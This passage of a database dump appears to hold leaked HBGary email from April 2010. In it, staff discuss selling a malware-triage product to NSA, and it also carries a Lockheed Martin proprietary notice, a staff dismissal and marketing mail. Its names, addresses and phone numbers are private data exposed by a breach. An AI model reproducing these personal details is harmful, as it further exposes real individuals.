\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nRichard Mai\r\n\r\nUNO\r\n\r\nProgram Manager \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/23/10\r\n02:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12004,'aaron_hbgary_com/12004.html'),(5638,'2010-04-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004076.M835279P14101Q493.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: TMC','Penny, Team,\r\n \r\nI agree with Penny regarding the NSA.  At HBGary proper we have adopted the attitude that NSA is not a place we want to be - they have consistently failed to follow-thru on __anything__ they have promised us.  Over time (many years), NSA has taught us that they don&#39;t want to use outside vendors, they like to jerk your chain and talk about what you do, and ultimately they think they are better and want to build it in house.\r\n\r\n \r\nNow, that said, Aaron and Ted _are not_ Bob.  It could be that our experience at the NSA has been a result of where Bob was plugged in.  Maybe Aaron and Ted are plugged in a different way, and somehow this means the NSA experience will be different.\r\n\r\n \r\nOn pricing, Shawn and I both talked about this and we will go over this with Aaron and Ted today.  In short, our solution needs to be expensive.\r\n \r\n-Greg\r\nOn Thu, Apr 22, 2010 at 10:54 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nFirst NSA has bought SHIT.  Second, I don&#39;t&#39; doubt TMC is important to them,but at $15k PER YEAR, sunbelt sells their solution which processes 500\r\nmalware a day.  Ours is MUCH larger and therefore we need to get value.Third, Scott has not bought what he said he would A YEAR AGO and we areSTILL WAITING.  Unless we can be a priority at NSA, I doubt we&#39;ll get\r\nanywhere, which means we need to be higher than we are.  I&#39;m not convincedwe are there, we need a high level meeting to bless the dollars.  Bob can&#39;tseem to get us there, can someone?\r\n\r\n\r\n-----Original Message-----From: Bob Slapnik [mailto:bob@hbgary.com]Sent: Thursday, April 22, 2010 9:35 PMTo: &#39;Aaron Barr&#39;; &#39;Greg Hoglund&#39;\r\nCc: &#39;Penny Leavy&#39;; &#39;Ted Vera&#39;Subject: RE: TMCAll,With the NSA NTOC and ANO we are at the &quot;tip of the spear&quot; for all thingsgov&#39;t and DoD cyber defense.  Remember, this is the epicenter of the new DoD\r\nCyber Command.  Succeeding with TMC at NSA will start off with &quot;just&quot; a fewhundred thousand dollars for software licensing and 1-2 people full time HBGFed people to managing it .  We are going to get so much more. Consider the\r\nfollowing......- NTOC probably has dozens (maybe more) malware analysts.  They can buy manycopies of Responder.  And they will spread the word to other gov&#39;t and DoDorganizations to do the same.  Gov&#39;t likes to operate with a &quot;herd\r\nmentality&quot;.- Having TMC there with 1-2 engineers running it will get HBGary hugelyvaluable info about what is truly needed.  This will help our productsevolve over time.- DDNA will be part of TMC.  NSA will build a powerful Customer Genome that\r\nthey could share with other agencies.  The use of DDNA will spread leadingto enterprise deals.Aaron, are you clear how we tie TMC to net defense?  Is it the automatedcreation of SNORT signatures?  Or will there be more to it?\r\nBob-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thursday, April 22, 2010 6:58 PMTo: Greg HoglundCc: Bob Slapnik; Penny Leavy; Ted Vera\r\nSubject: TMCGreg,I spoke with the Scott Brown from the Blue Team today.  He is also veryinterested in the TMC but is talking about an enterprise solution for NSArather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\nHere is the deal.  We will get one shot at this.  Greg we can talk in personabout this tomorrow.  If they buy it and it sucks, they will shut it downand we won&#39;t get back in.My opinion.  You will sell a lot more copies of responder and REcon if we\r\ncan tie it to net defense.  The way to tie it to net defense is through I&amp;W/ Threat Intelligence to start.  Government organizations especially if youwant to deploy things on endpoints, well its painful, lengthy C&amp;A process.\r\nBut if you get the TMC in, which is far easier to get approved, get themfamiliar with DDNA, get data to improve DDNA, then you will get muchstronger advocates to integrate the endpoints.  Remember what I have been\r\ntalking about since I started with HBGary.  The focus right now ingovernment is on the perimeter and in organizing and providing betterinformation on the threats.a well working TMC can get you into the highest levels of the organizations\r\nyou want to sell DDNA and responder to.  In this environment trickle downworks!So my suggestion is to put TMC as a priority and get it to a point that canbe operational within customer spaces.Aaron Barr\r\nCEOHBGary Federal Inc.No virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n02:31:00\r\n',8518,'aaron_hbgary_com/8518.html'),(5639,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004077.M324824P14101Q495.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: TMC','Greg,Look forward to talking about this in person today (maybe over sushi?).I don\'t discount your experiences with NSA, they can be a tough organization, especially on offense. &nbsp;They really do not farm that work out, hardly ever. &nbsp;Frankly, NSA is a tough organization because unlike most other organization, they actually do have capability that rivals most commercial capabilities. &nbsp;So in many cases a company comes in to pitch their wares and in many cases its a bunch of junk with maybe a few nuggets. &nbsp;That said, they are overwhelmed and in areas related to defense and are working with commercial companies to deliver capabilities. &nbsp;I can give you a long list of commercial companies that have successful relationships and product sales with NSA. &nbsp;It is on us to work with them and structure a deal that works. &nbsp;They are not an impossible organization to sell to, ask Niksun, Netwitness, Palantir, CWSandbox, etc.NSA is a place you want to be, for threat intelligence they are the epicenter. &nbsp;Again there are plenty of companies that have success stories. &nbsp;They are a tough customer because they are very knowledgeable and have a tough mission and are demanding/selective. &nbsp;On offense they do think they are better, on defense they want help but they aren\'t just going to buy anything that is out there. &nbsp;We have to prove to them our shit works and works well. &nbsp;If we do and our product is integrated as well as our people, the rewards will be significant.The NTOC is the place we want to be, and we can not afford to dismiss NSA because of historic experiences. &nbsp;That is the past and different groups. &nbsp;Can\'t pull experiences with Blue Team and TAO into discussions with NTOC and ANO, in the end it will be the NTOC that manages any enterprise solution for the TMC at NSA. &nbsp;They are the epicenter for threat intelligence for the government. &nbsp;Tutiledge is the defense perimeter defense solution that NTOC manages and is considered our best national defense and I&amp;W system (we know its a failed position but thats irrelevant). &nbsp;All we have to do is structure the TMC to prioritize/triage malware and provide a capability to semi-automate SNORT signatures for the tutiledge system. &nbsp;Benefits are numerous.Bob and I will bring this home.AaronOn Apr 23, 2010, at 7:29 AM, Greg Hoglund wrote:Penny, Team,\r\n&nbsp;\r\nI agree with Penny regarding the NSA.&nbsp; At HBGary proper we have adopted the attitude that NSA is not a place we want to be - they have consistently failed to follow-thru on __anything__ they have promised us.&nbsp; Over time (many years), NSA has taught us that they don\'t want to use outside vendors, they like to jerk your chain and talk about what you do, and ultimately they think they are better and want to build it in house.\r\n\r\n&nbsp;\r\nNow, that said, Aaron and Ted&nbsp;_are not_&nbsp;Bob.&nbsp; It could be that our experience at the NSA has been a result of where Bob was plugged in.&nbsp; Maybe Aaron and Ted are plugged in a different way, and somehow this means the NSA experience will be different.\r\n\r\n&nbsp;\r\nOn pricing, Shawn and I both talked about this and we will go over this with Aaron and Ted today.&nbsp; In short, our solution needs to be expensive.\r\n&nbsp;\r\n-Greg\r\nOn Thu, Apr 22, 2010 at 10:54 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\nFirst NSA has bought SHIT. &nbsp;Second, I don\'t\' doubt TMC is important to them,but at $15k PER YEAR, sunbelt sells their solution which processes 500\r\nmalware a day. &nbsp;Ours is MUCH larger and therefore we need to get value.Third, Scott has not bought what he said he would A YEAR AGO and we areSTILL WAITING. &nbsp;Unless we can be a priority at NSA, I doubt we\'ll get\r\nanywhere, which means we need to be higher than we are. &nbsp;I\'m not convincedwe are there, we need a high level meeting to bless the dollars. &nbsp;Bob can\'tseem to get us there, can someone?\r\n\r\n\r\n-----Original Message-----From: Bob Slapnik [mailto:bob@hbgary.com]Sent: Thursday, April 22, 2010 9:35 PMTo: \'Aaron Barr\'; \'Greg Hoglund\'\r\nCc: \'Penny Leavy\'; \'Ted Vera\'Subject: RE: TMCAll,With the NSA NTOC and ANO we are at the \"tip of the spear\" for all thingsgov\'t and DoD cyber defense. &nbsp;Remember, this is the epicenter of the new DoD\r\nCyber Command. &nbsp;Succeeding with TMC at NSA will start off with \"just\" a fewhundred thousand dollars for software licensing and 1-2 people full time HBGFed people to managing it . &nbsp;We are going to get so much more. Consider the\r\nfollowing......- NTOC probably has dozens (maybe more) malware analysts. &nbsp;They can buy manycopies of Responder. &nbsp;And they will spread the word to other gov\'t and DoDorganizations to do the same. &nbsp;Gov\'t likes to operate with a \"herd\r\nmentality\".- Having TMC there with 1-2 engineers running it will get HBGary hugelyvaluable info about what is truly needed. &nbsp;This will help our productsevolve over time.- DDNA will be part of TMC. &nbsp;NSA will build a powerful Customer Genome that\r\nthey could share with other agencies. &nbsp;The use of DDNA will spread leadingto enterprise deals.Aaron, are you clear how we tie TMC to net defense? &nbsp;Is it the automatedcreation of SNORT signatures? &nbsp;Or will there be more to it?\r\nBob-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thursday, April 22, 2010 6:58 PMTo: Greg HoglundCc: Bob Slapnik; Penny Leavy; Ted Vera\r\nSubject: TMCGreg,I spoke with the Scott Brown from the Blue Team today. &nbsp;He is also veryinterested in the TMC but is talking about an enterprise solution for NSArather than a bunch of one offs. &nbsp;Matt Bodmer mentioned the same thing.\r\nHere is the deal. &nbsp;We will get one shot at this. &nbsp;Greg we can talk in personabout this tomorrow. &nbsp;If they buy it and it sucks, they will shut it downand we won\'t get back in.My opinion. &nbsp;You will sell a lot more copies of responder and REcon if we\r\ncan tie it to net defense. &nbsp;The way to tie it to net defense is through I&amp;W/ Threat Intelligence to start. &nbsp;Government organizations especially if youwant to deploy things on endpoints, well its painful, lengthy C&amp;A process.\r\nBut if you get the TMC in, which is far easier to get approved, get themfamiliar with DDNA, get data to improve DDNA, then you will get muchstronger advocates to integrate the endpoints. &nbsp;Remember what I have been\r\ntalking about since I started with HBGary. &nbsp;The focus right now ingovernment is on the perimeter and in organizing and providing betterinformation on the threats.a well working TMC can get you into the highest levels of the organizations\r\nyou want to sell DDNA and responder to. &nbsp;In this environment trickle downworks!So my suggestion is to put TMC as a priority and get it to a point that canbe operational within customer spaces.Aaron Barr\r\nCEOHBGary Federal Inc.No virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n02:31:00\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13730,'aaron_hbgary_com/13730.html'),(5640,'2010-04-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004077.M41153P14101Q494.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTo be sure, my approach to NSA is to leverage Aaron.&nbsp; He\r\nhas experience with NSA and his security clearance allows the customer to talk\r\nto him differently than they can in an unclassified way.&nbsp; Frankly, I am\r\nlooking at HBG Fed as an exceptional VAR that fully understands HBGary&#8217;s\r\nvalue propositions and will represent us better than any VAR could.&nbsp; I am\r\nworking hand-in-hand with Aaron by sharing my NSA contacts and strategizing on\r\nthe best technical approach and the sales situation. My role is not passive in\r\nthat I continue dialogue with various NSA people. &nbsp;Please trust that we\r\nknow what we are doing and will take this to the finish line with significant\r\nrevenue.&nbsp; Yes, TMC to NSA will be expensive.&nbsp; There will be significant\r\nlicensing revenue to HBGary and labor hours to HBG Fed.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Friday, April 23, 2010 10:29 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik; Aaron Barr; Ted Vera\r\nSubject: Re: TMC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPenny, Team,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI agree with Penny regarding the NSA.&nbsp; At HBGary proper\r\nwe have adopted the attitude that NSA is not a place we want to be - they have\r\nconsistently failed to follow-thru on __anything__ they have promised us.&nbsp;\r\nOver time (many years), NSA has taught us that they don\'t want to use outside\r\nvendors, they like to jerk your chain and talk about what you do, and\r\nultimately they think they are better and want to build it in house.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNow, that said, Aaron and Ted&nbsp;_are not_&nbsp;Bob.&nbsp;\r\nIt could be that our experience at the NSA has been a result of where Bob was\r\nplugged in.&nbsp; Maybe Aaron and Ted are plugged in a different way, and\r\nsomehow this means the NSA experience will be different.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn pricing, Shawn and I both talked about this and we will\r\ngo over this with Aaron and Ted today.&nbsp; In short, our solution needs to be\r\nexpensive.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Apr 22, 2010 at 10:54 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\nFirst NSA has bought SHIT. &nbsp;Second, I don\'t\' doubt TMC\r\nis important to them,\r\nbut at $15k PER YEAR, sunbelt sells their solution which processes 500\r\nmalware a day. &nbsp;Ours is MUCH larger and therefore we need to get value.\r\nThird, Scott has not bought what he said he would A YEAR AGO and we are\r\nSTILL WAITING. &nbsp;Unless we can be a priority at NSA, I doubt we\'ll get\r\nanywhere, which means we need to be higher than we are. &nbsp;I\'m not convinced\r\nwe are there, we need a high level meeting to bless the dollars. &nbsp;Bob\r\ncan\'t\r\nseem to get us there, can someone?\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com]\r\nSent: Thursday, April 22, 2010 9:35 PM\r\nTo: \'Aaron Barr\'; \'Greg Hoglund\'\r\nCc: \'Penny Leavy\'; \'Ted Vera\'\r\nSubject: RE: TMC\r\n\r\nAll,\r\n\r\nWith the NSA NTOC and ANO we are at the &quot;tip of the spear&quot; for all\r\nthings\r\ngov\'t and DoD cyber defense. &nbsp;Remember, this is the epicenter of the new\r\nDoD\r\nCyber Command. &nbsp;Succeeding with TMC at NSA will start off with\r\n&quot;just&quot; a few\r\nhundred thousand dollars for software licensing and 1-2 people full time HBG\r\nFed people to managing it . &nbsp;We are going to get so much more. Consider\r\nthe\r\nfollowing......\r\n\r\n- NTOC probably has dozens (maybe more) malware analysts. &nbsp;They can buy\r\nmany\r\ncopies of Responder. &nbsp;And they will spread the word to other gov\'t and DoD\r\norganizations to do the same. &nbsp;Gov\'t likes to operate with a &quot;herd\r\nmentality&quot;.\r\n\r\n- Having TMC there with 1-2 engineers running it will get HBGary hugely\r\nvaluable info about what is truly needed. &nbsp;This will help our products\r\nevolve over time.\r\n\r\n- DDNA will be part of TMC. &nbsp;NSA will build a powerful Customer Genome\r\nthat\r\nthey could share with other agencies. &nbsp;The use of DDNA will spread leading\r\nto enterprise deals.\r\n\r\nAaron, are you clear how we tie TMC to net defense? &nbsp;Is it the automated\r\ncreation of SNORT signatures? &nbsp;Or will there be more to it?\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, April 22, 2010 6:58 PM\r\nTo: Greg Hoglund\r\nCc: Bob Slapnik; Penny Leavy; Ted Vera\r\nSubject: TMC\r\n\r\nGreg,\r\n\r\nI spoke with the Scott Brown from the Blue Team today. &nbsp;He is also very\r\ninterested in the TMC but is talking about an enterprise solution for NSA\r\nrather than a bunch of one offs. &nbsp;Matt Bodmer mentioned the same thing.\r\n\r\nHere is the deal. &nbsp;We will get one shot at this. &nbsp;Greg we can talk in\r\nperson\r\nabout this tomorrow. &nbsp;If they buy it and it sucks, they will shut it down\r\nand we won\'t get back in.\r\n\r\nMy opinion. &nbsp;You will sell a lot more copies of responder and REcon if we\r\ncan tie it to net defense. &nbsp;The way to tie it to net defense is through\r\nI&amp;W\r\n/ Threat Intelligence to start. &nbsp;Government organizations especially if\r\nyou\r\nwant to deploy things on endpoints, well its painful, lengthy C&amp;A process.\r\nBut if you get the TMC in, which is far easier to get approved, get them\r\nfamiliar with DDNA, get data to improve DDNA, then you will get much\r\nstronger advocates to integrate the endpoints. &nbsp;Remember what I have been\r\ntalking about since I started with HBGary. &nbsp;The focus right now in\r\ngovernment is on the perimeter and in organizing and providing better\r\ninformation on the threats.\r\n\r\na well working TMC can get you into the highest levels of the organizations\r\nyou want to sell DDNA and responder to. &nbsp;In this environment trickle down\r\nworks!\r\n\r\nSo my suggestion is to put TMC as a priority and get it to a point that can\r\nbe operational within customer spaces.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n02:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/23/10\r\n02:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1455,'aaron_hbgary_com/1455.html'),(5641,'2010-04-23','\"Racz, James M\" <james.m.racz@lmco.com>','/aaron@hbgary.com/new/1297004080.M645940P14101Q496.eml','\"Racz, James M\" <james.m.racz@lmco.com>,\"Racz, James M\" <james.m.racz@lmco.com>','Promulgation of UNO Vendor Conference Presentation and UNO Team Mate POC  Detail - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin Proprietary Information \r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure. Access is restricted to employees, and authorized\r\nindividuals who have executed nondisclosure agreements or who are otherwise\r\nlegally bound by confidentiality obligations to Lockheed Martin. \r\n\r\n. \r\n. \r\n. \r\nMessage Start: \r\n----------------------- \r\n\r\nLOCKHEED MARTIN\r\nPROPRIETARY INFORMATION:\r\nProprietary information owned by Lockheed Martin that requires protection from\r\nunauthorized disclosure.\r\n.\r\n.\r\nMessage Start:\r\n\r\nDear UNO team Mates\r\n\r\n&nbsp;\r\n\r\nUNO PMO respectfully promulgates the recent UNO Vendor Conference\r\nPresentation and the UNO Team Mate POC Detail. On behalf of the COTR, Rick Mai\r\nand myself, thank you for your continued participation in the very successful UNO\r\nProgram.&nbsp; \r\n\r\n&nbsp;\r\n\r\nJim\r\nRacz\r\n\r\nUNO Program\r\n\r\n703 466-3314\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6889,'aaron_hbgary_com/6889.html'),(5642,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004081.M120167P14101Q497.eml','\"Bob Slapnik\" <bob@hbgary.com>','TMC','What we write doesn\'t need to be extensive but descriptive.\r\n\r\n1.  TMC Description  to their environment.  Malware submission to prioritize further analysis.  Possibility to generate SNORT signatures. and to deliver a standalone genome that has the benefits of the public genome and ability to generate a private genome traits. (Aaron)\r\n2.  Architecture Diagram. (Aaron)\r\n3. Component discriptions.  How it works. (Bob)\r\n4. Scaling and Costs. (Bob)\r\n\r\nSimple.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5410,'aaron_hbgary_com/5410.html'),(5643,'2010-04-23','\"Adobe Systems Inc.\" <adobe@adobeinfo.com>','/aaron@hbgary.com/new/1297004081.M407851P14101Q498.eml','aaron@hbgary.com','Maximize your Adobe trial: Break down publishing barriers.','\r\n\r\n\r\n\r\n\r\n\r\nMaximize your 30-day trial.\r\n\r\n  \r\n		\r\n		If this message is not displaying properly, click here to launch your browser.\r\n        \r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n			\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n		\r\n		  \r\n            \r\n		    \r\n		      \r\n		      We hope you are getting the most out of your Adobe InDesign CS4 software 30-day trial. In the upcoming weeks, take a look at the videos below to start exploring how you can find and fix production errors twice as fast; position, scale, and align objects in half the time; and more.\r\n		      \r\n	        \r\n	    \r\n        \r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n\r\n	\r\n		\r\n		\r\n			\r\n		\r\n		&nbsp;Learn more about&nbsp;InDesign CS4.\r\n		\r\n		\r\n		\r\n		\r\n			\r\n		\r\n		&nbsp;Get some tips.\r\n		\r\n		\r\n		\r\n		\r\n			\r\n		\r\n		&nbsp;Take the CS4 Design Premium&nbsp;feature tour.\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n		\r\n			\r\n		\r\n			\r\n		\r\n			\r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		\r\n	\r\n	\r\n		Customize the links panel to suit your needs. Start by adding the categories you want and then sort by those categories.\r\n		Learn how Live Preflight can flag potential problems while you work, before you hand off your files.\r\n		Watch how all-new Adobe Creative Suite 4 Design Premium software delivers familiar creative tools with more consistent user interfaces and time-saving features, allowing you to explore new mediums to express your ideas, without the steep learning curve. \r\n		\r\n	\r\n	\r\n		\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		\r\n	\r\n	\r\n		\r\n		\r\n			\r\n		\r\n		\r\n		\r\n			\r\n		\r\n		\r\n			\r\n		\r\n	\r\n    \r\n	\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n\r\n		\r\n	   \r\n	\r\n		\r\n\r\n	\r\n		\r\n		\r\n          \r\n         	\r\n         		\r\n         		\r\n         		\r\n         		Ready to buy now?\r\n         Enjoy unlimited use of Adobe InDesign CS4 software by converting your trial to an unrestricted version.\r\n         Or, get more creative power with the Adobe Creative Suite 4 Design Premium software edition. \r\n         \r\n         		\r\n         		\r\n         	\r\n         	\r\n         		\r\n         			\r\n         		\r\n         	\r\n          \r\n          \r\n		\r\n		\r\n	\r\n  \r\n\r\n\r\n	\r\n	\r\n		\r\n		  \r\n		    \r\n		      \r\nLearn about the upgrade options available to you.\r\n\r\nVisit our FAQ page for more information on how to easily convert your trial and other trial help.\r\n	        \r\n	    \r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n	\r\n	\r\n		\r\n        Adobe, the Adobe logo, Creative Suite, and InDesign are either registered trademarks or trademarks of Adobe Systems Incorporated in the United States and/or other countries. All other trademarks are the property of their respective owners.    \r\n        \r\n        \r\n&copy; 2010 Adobe Systems Incorporated. All rights reserved.\r\n\r\nPLEASE DO NOT REPLY TO THIS MESSAGE. To obtain information on how to\r\n        contact Adobe, visit the web at: www.adobe.com/misc/comments.html, or\r\n        call 800-833-6687.\r\n        \r\nThis is an advertising message from Adobe Systems Incorporated, its\r\n        affiliates and agents (\"Adobe\"), 345 Park Avenue, San Jose, CA 95110\r\n        USA. If you\'d prefer not to receive e-mail like this from Adobe in the\r\n        future, please click here to unsubscribe or send an e-mail to unsubscribe-na@adobesystems.com. Alternatively, you may mail your\r\n        unsubscribe request to:\r\n        \r\nUNSUBSCRIBE\r\nAdobe Systems Incorporated \r\nAttn: Change of Address/Privacy \r\n343 Preston Street \r\nOttawa, ON K1S 1N4 \r\nCanada \r\n\r\nYour privacy is important to us. Please review Adobe\'s Online Privacy Policy by clicking here:\r\nwww.adobe.com/misc/privacy.html.\r\n        \r\n	\r\n	\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16586,'aaron_hbgary_com/16586.html'),(5644,'2010-04-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004081.M624914P14101Q499.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: TMC','I\'ve got my assignment. I will start work on Saturday and complete by Sunday\r\nnight.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, April 23, 2010 12:38 PM\r\nTo: Bob Slapnik\r\nSubject: TMC\r\n\r\nWhat we write doesn\'t need to be extensive but descriptive.\r\n\r\n1.  TMC Description  to their environment.  Malware submission to prioritize\r\nfurther analysis.  Possibility to generate SNORT signatures. and to deliver\r\na standalone genome that has the benefits of the public genome and ability\r\nto generate a private genome traits. (Aaron)\r\n2.  Architecture Diagram. (Aaron)\r\n3. Component discriptions.  How it works. (Bob)\r\n4. Scaling and Costs. (Bob)\r\n\r\nSimple.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/23/10\r\n02:31:00\r\n\r\n',14660,'aaron_hbgary_com/14660.html'),(5645,'2010-04-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004081.M858109P14101Q500.eml','all@hbgary.com','MJ is no longer with the company',' \r\nAll,\r\n \r\nMJ is no longer with HBGary.\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n',16791,'aaron_hbgary_com/16791.html'),(5646,'2010-04-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004082.M284820P14101Q502.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: MJ is no longer with the company','---------- Forwarded message ----------\r\nFrom: Greg Hoglund \r\nDate: Fri, Apr 23, 2010 at 1:28 PM\r\nSubject: Re: MJ is no longer with the company\r\nTo: Ted Vera \r\n\r\n\r\nI just let him go.\r\n\r\n-G\r\n\r\nOn Fri, Apr 23, 2010 at 12:17 PM, Ted Vera  wrote:\r\n>\r\n> wtf?\r\n>\r\n> On Fri, Apr 23, 2010 at 1:08 PM, Greg Hoglund  wrote:\r\n> >\r\n> > All,\r\n> >\r\n> > MJ is no longer with HBGary.\r\n> >\r\n> > -Greg Hoglund\r\n> > CEO, HBGary, Inc.\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13783,'aaron_hbgary_com/13783.html'),(5647,'2010-04-23','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004082.M515610P14101Q503.eml','\"Tim Hoechst\" <Tim.Hoechst@agilex.com>,\"Aaron Barr\" <aaron@hbgary.com>','HOLD TIME: Possible ConCall w/ LANL','When: Monday, April 26, 2010 4:00 PM-5:30 PM. Eastern Standard Time\r\nWhere: phone TBD\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n',16564,'aaron_hbgary_com/16564.html'),(5648,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004082.M66745P14101Q501.eml','\"Greg Hoglund\" <greg@hbgary.com>','Status','Bill T. had some further work he wanted to discuss, just finished.  I should be leaving here shortly.  I will call you from the car.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14067,'aaron_hbgary_com/14067.html'),(5649,'2010-04-24','\"Aaron Barr\" <adbarr@mac.com>','/aaron@hbgary.com/new/1297004082.M759393P14101Q504.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Searching for the Location Gold Mine','Searching for the Location Gold MineInvestments into the next generation of location and augmented  reality applications these days are as big as the buzz surrounding them. But while we’re  seeing amazing apps and demonstrations, we’re still not seeing  compelling revenue models.\r\n\r\nOn Wednesday, April 28, a select group of about 75 entrepreneurs,  investors and technologists will gather at the GigaOM offices for our 11th GigaOM Bunker Session to debate  how we will monetize location and AR services. In this session, we will explore what revenue models will work in the  near term, and what timelines we might see for the realization of  further revenue. The conversation will be moderated by GigaOM Pro  Analyst Phil Hendrix.\r\n\r\nA few speakers will lead the debate at the forum, but the overall  emphasis will be on participation and comment by all those invited. Our  conversation leaders will include:\r\n\r\n\r\n    Matt Galligan, SimpleGeo\r\n    Tom Coates, Yahoo\r\n    Marc Davis, Invention Arts\r\n    Rahul Sonnad, GeoDelic\r\n    Michael Liebhold, Institute for the Future\r\n    Ted Morgan, Skyhook\r\n\r\n\r\nThe event is open to invitees only and will be live streamed at our subscription research site, GigaOM Pro. To submit questions or discussion topics, watch video or the event, and access post-event analysis from GigaOM Pro contributors, subscribe now. For a limited time, we are also offering a 20 percent discount on a one-year subscription. Enter the code “BUNKER0428? at checkout.\r\n\r\nRelated Research Briefings:\r\n\r\n\r\n    “Location:  The 